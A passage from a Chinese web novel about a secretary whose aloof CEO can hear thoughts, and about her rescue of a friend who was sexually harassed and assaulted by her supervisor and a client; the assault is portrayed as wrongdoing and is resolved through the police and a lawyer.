从工作、组织和领导的能力来看,虞晚不输给那些任职三四年的主管们,不过虞晚入职年龄短,年纪也小,让她现在空降当主管,就算其他人嘴上不说,心底肯定是不服气否,此外,他还要考虑给虞晚腾地方的主管去向。
就这么看了半小时也没找到合适的部门,傅知尧松开握着鼠标的手,静默着坐在老板椅上,半晌,垂眸低声叹口气。
下班时间,总裁办只剩下虞晚一个人,她往老板办公室看了看,确认老板还在,拿着礼物敲响傅知尧办公室门,走进去,空调温度低得她打了个寒颤。
“老板。”虞晚喊了傅知尧一声。
傅知尧头也不抬,翻阅手里的项目文件,声音冷淡:“说。”
虞晚将礼盒轻轻放到傅知尧办公桌上,说明来意:“老板,今天是您生日,这是我送您的生日礼物,不是很昂贵,但我很感谢老板你对我在入职以来的提携和看重,这份礼物,希望您喜欢,祝老板您生日快乐,希望老板身体健康,万事顺意,生意做大做强,傅氏辉煌腾飞,更上一层楼。”
虞晚说完,站在原地等待傅知尧回答。
傅知尧眼睑低垂,批注文件的手稍稍停顿,仍旧没有抬头看虞晚一眼,“嗯,你可以出去了。”
简单到像是在打发人的一句话。
虞晚有些没回过神,缓慢无措地眨了眨眼,目光落在傅知尧身上,几秒后,确认傅知尧不会再开口,虞晚紧了紧发汗的掌心,将剩余的话吞回肚子里:“……好的老板,下班时间到了,我先回家了。”
傅知尧没有回复。
办公室门关上,虞晚站在门外等了会儿,最后抬了抬眉毛,自我开导。
说不定傅知尧是遇上了什么烦心事,她刚好撞到枪口上了,又或者傅知尧不喜欢下属送礼的行为,认为这是巴结和谄媚。
但不管怎么说,傅知尧没开口拒绝,这就够了,她不要求太多。
老板的心思不要猜,猜来猜去也不明白。
虞晚收拾好包包,锁好办公室,乘坐电梯下楼,刚出大门,一场暴雨便劈头盖脸落了下来,绿化景观里的树木在暗灰色雨幕中摇摆不定,豆大的雨滴砸在地面,溅起白色碎沫,潮湿的雨水腥气弥漫,衣服也变得湿热黏人。
按照往常习惯,虞晚应该会搭乘老板的车回家,但不知为何,虞晚觉得今天的老板可能不会等她,她看着雨幕,平静地从包里拿出一把雨伞,撑开伞往地铁站方向走去。
还好她昨晚有看天气预报。
办公室内,翻看着投资项目书的傅知尧迟迟静不下心来,他干脆站起身,走到落地窗前,目光落在楼下空旷的中庭广场上。
陆陆续续有人从公司大楼离开,撑起一把把颜色各异的伞,分散着如蚂蚁搬家,缓慢移动。
如此远的距离,根本看不清虞晚在哪里。
傅知尧知道虞晚带了伞,所以没有挽留她,更重要的是,他不知道自己在想什么,也不知该以何种态度面对虞晚,唯一能想到的就是躲,这种心烦意燥的感觉说不定过两天就好了。
想到这儿,傅知尧收回视线,走到办公桌前,打开了虞晚送他的生日礼物。
一支精致漂亮的钢笔,笔身线条流畅,经典的黑金配色,上手打量才能发现送礼人的心思,笔帽环上是激光镌刻的傅知尧三个字的花体拼音,金色笔咀上浮雕花纹繁杂精细,带着独属于金属的光泽感,整支钢笔拿在手并不显得浮夸招摇,反而格外典雅气派。
和他原本常用的钢笔有些像,重量上有细微差别,傅知尧用吸墨器吸了些配套的墨水,用纸巾蹭去多余的墨汁,提笔,在纸上写下虞晚两个字。
新笔的缘故,写起来稍微有些涩,但笔锋勾勒顺畅利落,写起来不费力气,还算好用。
这个品牌的定制钢笔,算上配套的墨水,将近一
万。
虞晚对自己不怎么样,对他倒是大方。
半小时后,傅知尧才去到地下停车场。
今日司机是小程,见傅知尧上车后直接关上车门,好奇转头看了眼,没看到虞晚,不由得疑惑:“傅总,虞秘书呢,今天下雨,不送她回家吗?”
傅知尧打开平板,烦躁地拧起眉:“开好你的车。”
小程噤声,“好的傅总。”
车子启动-
【唉,虞秘书真可怜,她是怎么每天忍受傅总臭脾气的。】-
【算了算了,打工人就是这样的,好歹傅总给的工资高呢,受点气也是系应该的。】
傅知尧停下手头动作,喊了前面小程一声:“程亮。”
小程一个激灵,赶忙道:“傅总您说。”
傅知尧皮笑肉不笑:“你对我有什么不满吗?你希望你的老板是个如沐春风时刻带着微笑的人?你觉得员工应该猖狂到坐在老板头顶,命令和驱使老板为他做事?”-
【什么跟什么呀?】
小程满头雾水,面露苦色,磕磕绊绊解释:“不是,傅总您是老板,老板说的话员工肯定是要听的……”
“算了。”意识到自己情绪太冲,傅知尧抬手揉了揉紧绷的太阳穴,语气恹恹:“外面雨大,你认真开车。”
“好的傅总。”
小程不敢再多想,他怎么觉得傅总像是能听见他心里想什么似的-
虞晚本以为傅知尧就是那么一两天心情不好,但接下来几天,虞晚能明确感觉到傅知尧对自己的冷淡和疏离,不是排挤她不让她参与项目的冷淡,而是……回避和她的对视和交流。
就连最老成稳重不关心除工作外事情的尚秘书都察觉了不对劲。
比如拿文件资料这件事,明明虞晚更熟悉资料的摆放位置,但傅知尧偏偏叫了蔡杨去拿,虞晚甚至已经从位置上站起来,视线也和傅总对上了,但傅总轻飘飘移开眼,摆明了无视虞晚。
如果不是傅总仍让虞晚负责跟进项目,在公司大会上汇报季度项目进程,尚秘书都要怀疑傅总是不是在对虞晚这个小姑娘使用职场冷暴力。
尚秘书这个老员工尚且觉得意外,虞晚本人就更不用说了。
第62章
虞晚白天要工作没时间,晚上躺床上翻来覆去想原因,认真审视自己这段时间的工作状态——
是不是自己最近因为升职加薪态度飘乎了,是不是接手项目不用心出了什么她没发现的纰漏,是不是上回负责项目的后续工作没有完善处理……
辗转反侧想了无数种可能性,仍旧没有头绪,她睁着眼盯着天花板,觉得这样下去不是个事。
隔天,虞晚忙完工作,特意选在傅知尧有空的时间敲门进傅知尧办公室。
傅知尧正在看文件,见虞晚进来,既不主动询问也不催促她离开,颇为心平气和地在文件末尾签字。
虞晚抿了下干燥的唇,直白开口:“老板,是不是我最近工作上出现了差错,或者您说的什么命令我没有领会到位,您能不能告诉我,我会努力改进。”
傅知尧签字的手顿了顿,掀眼看虞晚。
虞晚站在距离办公桌前三步远的位置,垂在身侧的手无意识攥紧,唇微抿,表情拘谨忐忑,某个瞬间让傅知尧幻视刚进总裁办的虞晚,那时的他因为听不见心声对虞晚揣摩过多,态度也不算友善。
但当时的他尚且能理所当然地挑剔虞晚,无所谓虞晚的心情,因为虞晚不过是他用来等待合适秘书的过渡期小助理,虞晚随时会离开总裁办,他不需要对虞晚多上心。
但现在,傅知尧迟了将近七个月感受到当时自己扇出的巴掌落到现在自己的脸上。
虞晚说不定就和小程一样,和其他普通员工一样,表面对他恭敬,心底痛恨他的独裁专制和暴脾气。
从他进公司到如今,七年,大魔王这个标签坚定不移被员工们贴在他身上。
虞晚是怎么想他的?
所以,在沉默两秒后,傅知尧将手中一份资料递给虞晚,对她的提问避而不答:“银讯科技新推出的一款智能手表,新品牌发布当天线下快闪店活动宣传需要跟上,你去市场部找关……找相关负责同事,参与新品发布的快闪店布置,报告按照你原来的模板写,活动结束后交给我。”
虞晚僵在原地,心底有种说不出的滋味。
她似乎明白了傅知尧的意思,不是她工作哪里做得不够好,不是她懈怠不上进,他只是单纯看不惯她这个人。
虞晚识趣没有再多问,从傅知尧手里接过资料,声音克制平淡:“谢谢老板,我会努力的。”
办公室门合上。
虞晚那句带着淡淡失落的声音还萦绕在耳边,傅知尧忽然觉得手中的文件变得晦涩难懂,每个字都像是在纸上乱窜,一句话看完,大脑核心处理器像罢工般无法理解,他烦躁地揉了揉眉心,转头给蔡杨发了条消息,让他给自己点杯不加糖的冰美式。
另一边,回到总裁办的虞晚逼着自己静下心,认真了解智能手表的相关资料。
她内心是失落的,至于为什么,虞晚说不上来,因为她无法站在一个情感或者职场的制高点来指责对方的冷待。
傅知尧对她态度恶劣吗?不,他正常和她聊天说话,不过都是工作方面罢了。
傅知尧想要孤立她逼迫她主动离职吗?也不,他将快闪店活动这类线下项目交给她,这是她从未参与过,具有学习意义。
傅知尧什么都没做错,他只是和最开始她无缘无故成为他秘书在总裁办实习那段时间一样。
是她越界了,她自以为两人关系已经熟络,可以随性地交谈,可以有话就说不必藏着掖着。
可是,傅知尧又凭什么配合呢?
他是老板,她是秘书,他有命令,她听从就是。
虞晚感到喉咙一阵酸胀,她拿起手边的水杯抿了一口,堪堪咽下那抹酸楚,努力投入工作,忽略心绪的起伏。
想要了解智能手表新品,就要了解手表背后所属的银讯科技。
作为傅氏三大支柱公司之一,银讯科技旗下品类众多,主要经营手机、平板电脑、智能家电以及汽车,如安速便是银讯的王牌产品,这些全都是建立在同生态芯片的基础上,银讯科技为了不受国外芯片限制,在芯片研究这方面投入颇多,成果也是显而易见的,不少人住、行、玩乐都离不开银讯产品,被网友们戏称‘银宇宙’。
林总助当时去的便是银讯科技的分公司。
看完资料,虞晚基本清楚为什么傅知尧会让她参与,智能手表和智能手机在基础功能方面没太大差别,但智能手表因为体积小,产品功能定位更多需要表达差异化,如搭配相应的健康监测系统,对心率、血氧和睡眠进行分析,和银讯旗下手机品牌银河YinHe生态系统深度绑定,支持独立通信、消息查看与回复、移动支付等等。
这次新品智能手表自然是和前段时间的‘好医生’医疗平台有关,在健康监测这方面发挥出了更大的作用,顺应现代年轻人追求健康生活的态度,同时对外观进行了设计升级,主打无性别化简约大方,但在表带的选择上丰富多样,既能符合老年人需求,也满足了年轻人审美。
有了工作重点,虞晚接下来几天忙得没时间去想傅知尧。
线下快闪活动先前就办过不下十次,市场部已经有了充足经验,但每次快闪活动主题不一样,需要处理的问题也不一样:现场布置该如何,线上线下宣传该如何配合,需不需要请水军和其他的博主进行宣传推广……
跟着关彦轩部门负责快闪活动的同事们开了几次会,虞晚忽然明白自己和这些高材生的差距,他们头脑和思维更灵活跳跃,联想力和精力能扛能打,往往虞晚只是说了个想法,其他人手掌一拍,立刻就能将其完善,锦上添花般蹦出更多奇思妙
想。
虞晚一方面失落自己在智力方面的不足,一方面又欣喜自己能参与这样一场头脑风暴,手上笔记记得更勤快。
算上快闪活动举行时间,虞晚忙碌了将近半个月,这半个月时间里,虞晚和傅知尧碰面、说话次数寥寥无几。
虞晚数了数,也就五次吧,傅知尧工作比她更忙,去邻市出差、出席金融生态峰会、揭幕新合作……
偶尔碰面也是在公司,每次都是她主动打招呼,傅知尧只淡淡给她一个眼神,连个嗯都懒得回复。
周六下午五点快闪店活动结束,市场部同事热情拉着虞晚一起参加庆功宴。
到了现场,没看到关总监,虞晚好奇问旁边相熟的女同事。
快闪活动组织期间,关总监只在开会时出现,其余时间全权交给了她们,只对快闪活动方案和举办地点做出定夺,这三天的线下快闪活动,关总监只在第一天和最后一天出现了。
虞晚还以为他会和他们一起庆祝。
女同事见怪不怪勾着虞晚肩膀:“嗨,关注关总监干什么,他这人就是这样,不喜欢凑热闹,你要是叫他来,他还会觉得你烦,特高冷一男的,之前我们部门有女生对他表白,被他几句话怼到辞职,连简历都不敢往这块区域投,生怕见到关总监。”
女同事和虞晚混熟了,知道她不是个爱说闲话的人,也放心对她说这些八卦。
她压低声音,示意虞晚靠近她,虞晚凑过去,听见她说:“和大魔王有得一拼。”
说完,女同事眨眨眼:“虞秘书,我知道你是傅总身边的大红人,但这话你可不要告诉傅总,拜托拜托。”
虞晚:“我不会主动说的。”
而且,虞晚不认为傅知尧不知道员工们私下叫他大魔王这件事,但只要不影响工作,不影响公司发展,有什么说的必要,难不成要像学生时期的班主任,整天强调不要给老师取外号这种事情吗。
入职总裁办,跟在傅知尧身边这么久,虞晚对大魔王这个头衔从最开始的坚信不疑到现在的动摇。
之前陪客户在彬晴吃日料,虞晚是个生手,第一次吃生鱼片,第一次见到各种稀奇古怪的鱼类,完全不懂吃日料的讲究,生怕出糗给客户留下坏印象。
傅知尧看出她的拘谨,自然地给她倒了一杯热茶,将她注意力吸引走,之后半程,虞晚都是跟着傅知尧有样学样,她能明显感觉到傅知尧为了照顾她,刻意放慢的动作。
吃完饭,虞晚向他表达感谢,傅知尧嗯了一声表示接受。
这样一个会关注到细节事后也没责备她不懂日料吃法的人,会无缘无故使用冷暴力吗?
虞晚不相信傅知尧看不出来自己的沮丧和低落。
不知不觉,虞晚多喝了几杯酒,好在她酒量不差,几杯下肚也不上脸,还能正常和其他人聊天。
聚餐结束已经是晚上九点多,虞晚告别市场部同事们,往地铁站方向走,喝了酒的缘故,脚步忽然变得有些飘乎。
但这种时候,夜幕漆黑,灯火通明的海市像是巨型机器,一刻也不停歇地运转,路边行人脚步或急促或闲散,虞晚混迹在茫茫人海中,难得享受这片刻的放松,她不需要忙碌工作,不需要思考自己着装是否得体整齐,不需要琢磨老板的心思,不需要猜测傅知尧为什么会变得冷漠。
脑袋空空,真好。
走进地铁站没几秒,虞晚接到毛新灵的电话。
电话那边是毛新灵慌乱无措的声音:“……虞晚,你现在有时间吗?你,你能不能过来帮帮我,……对不起,我实在想不起其他人了,我现在……我,我们老板在门外,他现在……想要进来,我只有一个人,我害怕,虞晚,你能不能帮帮我?”
毛新灵声音带着哭腔,颤抖得不像样,因为害怕,语序混乱不已,隐约能从毛新灵喘息的间隙里听见门被拍打的沉闷声响,夹杂着男人威胁意味的声音。
虞晚脑子一下就清醒了,当即逆着人流往地铁站外跑。
“不麻烦,新灵你把门锁好,告诉我你在哪里,我现在打车去找你,在这之前,先保护好你自己,找找周围有没有什么趁手的工具,我马上来。”
“……嗯,我知道,”毛新灵死死咬着自己手指,不敢放声大哭,“谢谢你,虞晚。”
地铁站内和地铁站外温度差大,虞晚甫一出来,便被巨大的热浪裹挟,她一边注意路边的出租车,一边在打车软件上定位,很快,一辆空闲的出租车就到了她面前。
虞晚坐上车,语气焦灼:“师傅,去碧海绿地,麻烦快点。”
第63章
一小时后,虞晚坐在警局大厅的椅子上,焦虑不安地等待蔡杨过来。
她已经做完笔录,现在正在小房间里做笔录的是堪堪停止抽泣的毛新灵,至于她那位道貌岸然的上司,正在另一个房间内和警察狡辩。
不知是不是因为警局大厅内空调温度有些低,虞晚胳膊上窜起的鸡皮疙瘩迟迟没有消下去,她摸了摸胳膊,发现自己手仍在无意识地颤抖。
虞晚握拳克制缓和那股颤栗,站起身,同一旁值班的民警说了一声,推开门在空荡的警局门口等待。
一冷一热的刺激,让虞晚有些头疼,脑仁仿佛在不断地膨胀和收缩。
按理说,她和毛新灵是受害者,打了报警电话,在警局说清后就能离开,不需要人来保释签字,但虞晚进KTV包厢去找毛新灵的时候,那位人面兽心的上司已经叫人给门开了锁,将毛新灵整个人从厕所拽出来,抓着她的头发在地上拖行。
情况紧急,虞晚迫不得已拿起花瓶砸向他,被对方抓着这一点反咬她防卫过当,是蓄意谋杀。
回想起当时包厢内的场景,仍旧觉得魔幻和混乱。
来警局的路上,虞晚断断续续从毛新灵口中了解事情来龙去脉。
毛新灵的上司苏远,也是她部门的主管,一开始的确如毛新灵所说,对实习生的她格外关照,为人风趣幽默,丝毫不吝啬教她职场上的一些知识,毛新灵虽然喜欢他,但知道他是已婚人士,一直保持着距离从不越界,但这不代表苏远没有心思。
发现毛新灵不上钩后,苏远换了种策略,时不时借着工作的名义叫毛新灵单独来到他办公室,在毛新灵查阅资料时有意无意地靠近,制造亲密接触。
毛新灵觉得不对劲,躲开了好几次,被苏远这禽兽笑眯眯倒打一耙:“小灵你是不是误会什么了,资料在你手里,我想看只能凑近点,你躲得这么快,难不成是觉得我身上带刺?”
开玩笑的语气,让毛新灵以为是自己想多了,但接下来一个月,同部门另一个女同事频繁跟着苏远见客户、出差,毛新灵像是被打入冷宫,被苏远排挤到部门边缘。
领导的态度决定了下属的态度,因此部门其他几个自诩资历深厚的老员工开始对毛新灵颐指气使,什么杂事都让她做,毛新灵都咬牙干了,毕竟工作不好找,也没什么大矛盾,她不想和同部门同事关系闹得太僵。
等苏远出差回来,毛新灵去找他,询问原因,苏远话里话外暗示毛新灵需要付出。
这个时候的毛新灵尚未反应过来,以为付出是指工作上的付出,直到毛新灵在停车场撞见已婚的苏远和同部门的那位女同事接吻,毛新灵彻底理解苏远所谓的付出是什么意思,隔天便准备投简历离职。
因为毛新灵的公司规定,离职需要提前一个月说明,苏远在看到毛新灵的离职申请后明白是她发现了什么,害怕毛新灵捅出去,又或是苏远的惯用手段,他以让毛新灵离职后在业内不好混这个理由威胁毛新灵,让她陪自己去见一个客户,也就有了今天发生的事情。
至于那位客户,比起客户,更像是将毛新灵当商品打量的选购者。
谈合作时将恶心黏腻的眼神都往她
身上扫,下流地伸手去摸她胳膊和大腿,毛新灵一直在躲,惹恼了那位客户,将酒水打翻泼到毛新灵身上,离开前怒声骂她是脱衣服还要装矜持的婊子。
毛新灵拎起包要走,被苏远一把扯回来,摔在地上,挣扎许久,才抓着手机躲进厕所。
思绪越来越深时,汽车轰鸣声唤回虞晚的注意力,一束明亮的车前灯朝她的方向直直照射来,虞晚不适应地眯了眯眼。
一双穿着西装裤黑皮鞋的长腿率先从车后座迈了下来,高大笔挺的身影在模糊的视线中逐渐变得清晰。
看清来人,虞晚缓缓睁大眼,喉咙不受控制地变得酸楚。
是傅知尧。
虞晚愣愣看着傅知尧走近,长腿跨上阶梯,三步就走到虞晚身前,迎面第一句话瞬间粉碎虞晚的动容。
“长本事了,现在已经发展到在警局要人来接的程度,虞秘书,需要我强调吗?对方是个男的,你力气再大又如何,没搞清楚情况就动手,对自己几斤几两没个准确认识,你是喝多了以为自己能变身是吗?”
傅知尧身上穿着标准的西装三件套,靠近虞晚时带来一股淡淡酒气混合苦艾的味道,一看就是匆忙赶来的。
他皱着眉,将虞晚上下扫过,确认她无大碍,一时火气上头,说话也口不择言:“今天是你运气好,没出什么事,下次呢?你能保证你每次都这么幸运?之前我就说过,你动手之前能不能多动动脑子,还是说你脑子丢了,连最基本的分辨利害都要人提醒?”
虞晚张着唇,什么都说不出来。
如果说几秒前虞晚内心还是感动,现在已经完全被不耐烦取代。
国庆假期,分明是该和朋友聚餐或者在家躺着休息的时刻,她这几天全程都在忙快闪店活动,七天假期最终只有两天,快闪店活动讲解时嘴皮子一天都歇不下来,连喝口水都是奢侈,收拾道具和场地累到筋疲力竭。
这就算了,身体上的疼痛尚且能忍受,但白天在公司,她还要无时无刻经受傅知尧的忽略和冷视。
她是秘书没错,工作上出了差错需要改进,工作懈怠需要鞭策,而不是承受傅知尧莫名其妙的精神虐待。
她现在能站在这里和傅知尧好好说话已经算她了不起了。
虞晚疏于和傅知尧保持上下级的客套:“我是给蔡秘书打电话,没有给您打电话。”
傅知尧冷笑,语气里带了几分强硬和不容置喙:“所以呢?我推了饭局赶来你就是这个态度?虞秘书对你的恩人就是这个态度?”
这分明不是她的态度,这分明是傅知尧的态度!
虞晚抿了抿唇,努力咽下不快,客气道:“您说得对,麻烦傅总您了,下次有这事不劳您操心。”
傅知尧哪里看不出来虞晚是在阴阳怪气,连傅总都用上了,平时哪次见他不是老板老板地叫。
傅知尧扫她一眼,将她抿唇的小动作收入眼底:“照你这么说,我是不是还得感谢你下次不麻烦我,虞晚,我是你老板,你就没有一个好点的态度?”
虞晚:“……”
不知是酒精上头还是被傅知尧怼到谷底的反弹。
虞晚简直要发狂了,她转过头直视傅知尧,眼神里满是倔强和困惑:“那傅总您呢?您说我阴阳怪气,需要我提醒傅总吗,是您最开始冷暴力的,我还听林特助说了,您最近在另外找秘书。您对我有任何不满,大可以直接说,没必要刻意把我当空气,您是老板没错,看不惯我可以开除我,你对我不满,所以我做什么都是错的,既然如此,我还需要多辩解什么?”
“我那是……”
提到让林特助找秘书这事,傅知尧百口莫辩。
他对虞晚心思不纯,处理不好自己的情绪,不认为将虞晚继续放在自己身边合适,想将虞晚调去其他更利于她发展的部门,因此重新和林特助提了找秘书的事情,算作预备人选,这事并不急切,但虞晚是怎么知道的。
林特助……对,林特助就是银讯分公司负责人,他大概率和虞晚在新款智能手表发布时有过工作交接,无意提到了这件事。
难怪,难怪这几天在公司见到他,虞晚除了打招呼一句话也不多说。
对上虞晚质询的眼,傅知尧一时什么话都说不出来,脸上表情几经变化,最终道:“和虞秘书关系不大,你不需要知道原因。”
虞晚深吸一口气:“是您不说的,不能将过错怪到我身上。”
虞晚有理有据,傅知尧冷笑:“不会揣摩老板心思就是你最大的过错。”
虞晚难道不知道最近公司里因为那位神秘送花人闹得沸沸扬扬的八卦吗,虞晚就一点也不在意那位给她送花的人?
没心没肺几个字就差刻在脑门儿上。
像个傻子一样什么都不懂。
虞晚嘴角线条绷得紧,声线竭力压平:“我是来上班工作的,不是来给老板做心理辅导的,傅总您要是需要,我可以为您找一位专业的心理咨询师。”
傅知尧简直难以置信,他以前怎么就没发现虞晚嘴巴这么毒,转过头,拧眉质问虞晚:“虞晚你要气死我是不是?!”
虞晚不看他,目光落在前方虚空处,起伏的呼吸透露她的不平静:“我不敢。”
她哪儿敢,她不过是块砖,哪里需要往哪里搬,她哪儿敢气死大老板。
傅知尧:“……”
你不敢?我看你敢得很!
就在傅知尧正要开口时,方才进警局了解情况的高律师推开警局玻璃门,敲了敲,适时打断两人。
“傅总,虞秘书,这边需要签字。”
虞晚一秒整理好表情,朝高律师友好点头:“麻烦高律师了。”
她先一步往警局内走,留傅知尧站在原地。
傅知尧紧紧盯着虞晚的背影,和高律师对视几眼,确认自己被虞晚忽视,气得咬牙,在纸上签字时力气不由得大了几分,就差将纸划破。
看得一旁值班民警心惊肉跳,要不是听到一旁律师叫男人什么傅总,他真的会以为这人高马大的男人是来砸场子的,一身看着就不菲的高级定制西装,硬生生在对方烦躁压低眉眼的动作里透出一点匪气来。
再看一旁长相温婉的女人,方才在警车上还一直耐心温柔地安抚受害者,怎么突然摆出一副怒气未消的模样。
两人刚刚在外面究竟说了些什么?
第64章
签完,傅知尧看了眼虞晚,知道她还在气头上,索性转过头对高律师开口:“事情你基本也了解了,具体怎么处理尊重里面那位女士的意愿,告或不告都由对方,在这之前把两种选择的利害说清楚。”
高律师点头,“我明白,傅总。”
虽然包厢内没有监控,但酒店走廊的监控拍到了一部分,如果毛女士想告,除了身体上的伤痕,还需搜集苏远出轨的证据作为辅证,但总体来讲并不是件难事。
而苏远坚持的蓄意谋杀和防卫过当更是无稽之谈,不过能唬住像虞秘书和卫女士这样没什么经验的年轻孩子。
虞晚闻言看向傅知尧,警局大厅内的白炽灯落下冷白的光线,男人五官在灯光照射下尤其深邃出众,眉骨高而锋利,在眉毛下方拓出浅浅一道阴影,狭长漆黑的眸子里透着一如既往的疏离和冷傲,薄唇抿成一条直线,是傅知尧心情烦躁时的动作,让虞晚想道谢又迟疑不知如何开口。
从她给蔡秘书打电话开始到现在最多不过半小时,傅知尧已经知道了这么多信息吗?
还特意将高律师带了过来,高律师可是法务部的金牌律师,专门负责打合同官司这一块,可以这么说,高律师手里就没有打过低于五千万的案子,至今仍是零败率。
让高律师来负责起诉,无异于杀鸡用牛刀。
虞晚的冷静归巢,她恍然发现自己方才其实比傅知尧更口不择言,在被傅
知尧抓着斥责时,她被冷待多时的愤怒在今天一瞬间爆发,就像个鼓胀的气球,被扎了一个眼儿后噗嗤噗嗤恨不得将气全部泄个精光。
她后知后觉感到喝了酒的晕眩涌上脑袋。
她说的那么不客气,傅知尧会怎么看她,再痛骂她一顿?将她调去其他部门?还是……开除她?
按照最坏的结果打算,她离开傅氏后还能找到比这更高薪的工作吗?还能遇到比现在更合适的同事和朋友吗?还能像现在这样不断学习提高吗?
虞晚看傅知尧的眼神从迷茫到愧疚到担忧害怕,变来变去没个定论,紧张地直捏手指。
傅知尧冷不丁对上虞晚的视线,愣怔两秒,不知是对高律师还是对她说:“时间也不早了,让她们先回家,官司事情可以慢慢来。”
说完,傅知尧推开玻璃门,大踏步出了警局,只留给虞晚一个背影。
虞晚神色复杂,视线下意识追随对方离开,男人下阶梯的步子走到中途,忽然停驻,转过头。
隔着一道浅绿色的玻璃门,两人视线在半空中交接,谁也没有移开的意思。
半晌,虞晚眼睫颤了颤,最先低下头,眼底泪光一闪而过。
有高律师在,事情解决相当顺利。
那位人渣上司开始还是咬死毛新灵勾引他,对猥亵、强迫毛新灵和客户发生关系一事抵赖不认,在听说高律师的名号后态度逐渐动摇,高律师简单几句话引导到家庭和公司,对方的心理防线被击溃,央求毛新灵签下谅解书,愿意赔偿五万精神损失费并承担毛新灵医药费用。
毛新灵可以选择起诉,她身上大大小小的伤痕就是最好的证据,这些都是在今天拉扯中撞出来的,外加虞晚来时报了警,打官司的胜率也大。
高律师将选择权交给毛新灵,毛新灵在告与不告之间纠结,高律师明白毛新灵的顾虑,告知她可以在签下谅解书后用另一种方式让对方社会性死亡。
闻言,毛新灵果断选择后者。
拿到将近六万的赔款,毛新灵说不清该觉得畅快还是憋闷。
解决完赔偿事宜和高律师拜别,已经快十二点,接近凌晨,这个时间点再让毛新灵跨区回家耗费时间不说,毛新灵这个状态,她也不放心让她一个人。
因此,早在来警局前虞晚就给房东陈大爷发过消息,询问能不能将毛新灵带回家住一晚。
本以为还要花时间打车,谁料武叔一直等在车内,见两人从警局出来,将两人迎上车。
武叔:“虞秘书,傅总说了让我把你们安全送回家,你们安心坐着,你家离这里不算远,很快就能到。”
“那傅知尧呢?”
虞晚的问题几乎是脱口而出,说完她才后悔,她当着武叔面直呼老板名字干什么。
真是被怒气糊了脑子。
武叔像是没察觉称呼问题,直接道:“傅总在附近一家咖啡馆呢,他叫了家里的司机来接他,虞秘书你不用担心。”
“嗯,我知道了,麻烦武叔了。”
虞晚道过谢,心绪乱如麻地坐在后座,车窗外霓虹灯影掠过虞晚沉静忧愁的面容,毛新灵默默握紧她的手。
虞晚偏头看她,艰难地扯了扯嘴角,“没事。”
到家后,虞晚给毛新灵冲了杯蜂蜜水补充水分和能量,干净的拖鞋和毛巾家里一直有备用,刷牙漱口的用具是虞晚上回出差从酒店带回来的多余的一套,至于换洗衣物就更简单了,卫生间里有烘干机,晚上毛新灵可以穿她的睡衣凑合。
趁着毛新灵洗漱的功夫,虞晚从衣柜里抱出一床干净薄毯铺在床榻上,床是双人床,睡她和毛新灵两个人绰绰有余。
洗漱完,两人在吹着空调的房间里清清爽爽躺进柔软的被窝里,毛新灵蹭了蹭带着洗衣液香气的毛毯,幸福到想要掉眼泪,她说:“之后可以和赖言栩她们炫耀了,我是第一个和虞晚同床共枕的人。”
见毛新灵没有为人渣上司的事情困扰,虞晚稍微安心些,侧躺着看她,开玩笑道:“那我以后就在我的房子里建个大通铺,想躺几个人就躺几个人,想聊多晚就聊多晚。”
毛新灵笑起来,眼里蓄着泪,她由衷真诚地对虞晚道谢:“虞晚,今天的事情真的非常谢谢你,如果不是你,我可能也会觉得被骚扰是件很丢人的事情。”
所以在被苏远强迫时,毛新灵没有第一时间选择报警,因为她害怕这件事情闹大,尽管她没有遭受实际的迫害,但她清楚,因为她女性的身份,最终所有的流言蜚语都会冲向她,她心理还不够强大。
毛新灵声音带着些微哭腔:“虞晚,你会不会觉得我太胆小了,明明应该起诉苏远,我却选择了和解。”
虞晚鼻尖除了毯子洗衣液的香气,还有毛新灵身上化瘀药膏的刺鼻味道,毛新灵身上反抗的伤痕她是知道的,她不是毛新灵,要如何替毛新灵作出评价。
虞晚斟酌片刻,开口:“苏远威胁你,你能及时察觉不对劲,在他想要强迫你时你努力反抗躲避,给我打求救电话,这才不是胆小,真正的勇敢不一定是直面恐惧,你保护好了自己,无论是身体还是名誉,这都是勇敢。现在这种选择,既可以拿到赔偿款,又能让高律师帮忙让苏远社会性死亡,这可能是比起诉站到法庭上公开和苏远对峙更好的方式。”
人是社会性动物,毛新灵的顾虑是件再正常不过的事情,虞晚没必要在这个时候去苛责毛新灵的选择。
毛新灵声音有些哑,她拼命点着脑袋,努力克制喉咙的酸胀:“虞晚,你现在和刚进大学时不太像,变了很多。”
虞晚问她:“是好的变化还是坏的变化?”
毛新灵语气纠结,“……也不能这么说,其实你原本就很好。”
大一刚住宿舍,还是来自四个不同专业的舍友,毛新灵是不适应且不舒坦的,因此一开始也没抱着要和宿舍其他人友好相处的想法,当个普通室友就行,对虞晚这人更是没什么印象,长相普通,性格内向不善交际,毛新灵觉得自己是不会和她当朋友的。
直到某次出门上课时晒了棉被,课上到一半便下起瓢泼大雨,毛新灵和老师说了一声,淋着雨急匆匆往宿舍赶,最后发现自己被子已经被人收走。
回到宿舍,虞晚正在课桌前看书,见到她,有些惊讶:“你的棉被我已经帮你收了,我给你发了消息提醒,你是不是没来得及看?”
毛新灵没回答。
她不是没来得及看,她对三个舍友设置了免打扰,自然不知道虞晚给她发了消息。
那之后,虞晚在毛新灵心里从普通室友升级为海市好室友,她不像其他两个室友,喜欢谈恋爱煲三四个小时的电话粥或者大喊大叫地打游戏,虞晚一直安安静静坐在椅子上看书学习,周末要么出门兼职赚钱,要么参加各种志愿活动和比赛,小小一个身体像是有用不完的能量,让毛新灵十足羡慕。
但毛新灵很难说出和对方交朋友的请求,因为虞晚这人不怎么爱说话,性格文静内敛,她也不知道虞晚除了学习、赚钱以外还有什么喜好,以至于很长一段时间两人关系一直处于能说上话,互相帮忙拿个快递的普通室友阶段。
直到大四快毕业,另外两位舍友搬出去,宿舍只剩下她和虞晚两人。
某天半夜虞晚发起高烧,躺在床上烧得不省人事,毛新灵早晨起床时才发现,手忙脚乱地照顾虞晚,给她在额头上搭毛巾降温,给她喂葡萄糖水,给她买药喂药……
期间断断续续听到虞晚嘴里念叨“为什么是我,我不要”之类没头没脑的话。
隔天虞晚就痊愈了,跟个正常人一样,只是出门的次数变多了,再然后,虞晚就开始认真找工作,性格也一天比一天开朗,让毛新灵困惑之余又欣喜她的变化。
因为她能开开心心和虞晚交朋友。
第65章
听了毛新灵的话,虞晚陷入沉思,从时间上看,她穿进这本小说的节点恰好就在那场高烧后。
因为脑海内残存的记忆不全,虞晚一直以为是穿书的缘故,毕竟没有哪位穿书者能完全继承原主的意识。
等到虞晚推理出她就是原主,她不明白的点又从为什么她会穿书变成为什么她会失忆。
虞晚认真看过她从孤儿院铁皮盒里找出来的日记。
日记本内容相当简单,大概就是记录她每天吃了些什么,
